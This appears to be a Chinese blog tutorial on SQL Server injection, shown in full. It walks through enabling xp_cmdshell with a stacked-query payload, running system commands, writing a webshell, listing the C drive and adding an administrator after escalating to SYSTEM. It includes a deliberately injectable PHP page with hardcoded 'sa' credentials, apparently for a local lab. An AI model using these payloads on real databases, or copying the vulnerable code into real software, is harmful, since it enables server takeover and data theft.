sql server 数据库可以通过xp_cmdshell组件执行一些系统命令

可以看到sql server 数据库在默认这状态下阻止了xp_cmdshell的应用
通过以下命令进行开启:
id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '

虽然没有在页面回显,实际上已经开启xp_cmdshell
附加关闭xp_cmdshell

写入一句话木马

查看文件

进行验证

遍历C盘
为了确保准确语句是否执行成功,复制connect.php源代码到shell.php
因为需要在URL上执行两条或多条系统命令,需要修改源代码
源代码为
<?php
header("Content-type:text/html; charset=gbk");
$serverName = "127.0.0.1";
$uid="sa";
$pwd="123456";
$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");
$conn = sqlsrv_connect($serverName, $connectionInfo);
if($conn == false){
echo "连接失败!";
var_dump(sqlsrv_errors());
exit;
}else{
//echo "链接成功";
$id=$_GET['id'];
$sqls = "select * from users where id='".$id."'";
echo $sqls."<hr/>";
$sql=explode(';', $sqls);
//var_dump(sqlsrv_errors());
if(empty(sqlsrv_errors())){
$query = sqlsrv_query($conn,$sql[0]);
while($num=sqlsrv_fetch_array($query)){
echo $num['name'];
}
$query = @sqlsrv_query($conn,$sql[1]);
while($num=@sqlsrv_fetch_array($query)){
print_r($num);
}
}else{
$error=sqlsrv_errors();
echo $error[0][2];
}
sqlsrv_close($conn);
}
?>
保存进行访问,创建数据库

查看数据库,进行调整

插入数据

将C盘遍历插入到数据表中,查看

进行读取数据

语句为:
id=1'; select top 100 paths from dirs;--'
自然可以执行dos命令

添加管理员
查看当前权限

不懂该权限时什么意思,查找后为

在该network权限下是无法添加管理员的,要想添加管理员
需要把当前用户的权限修改为localSystem权限进行运行
重启后再次执行

成功修改为system权限
再次添加管理员

附图:

网友评论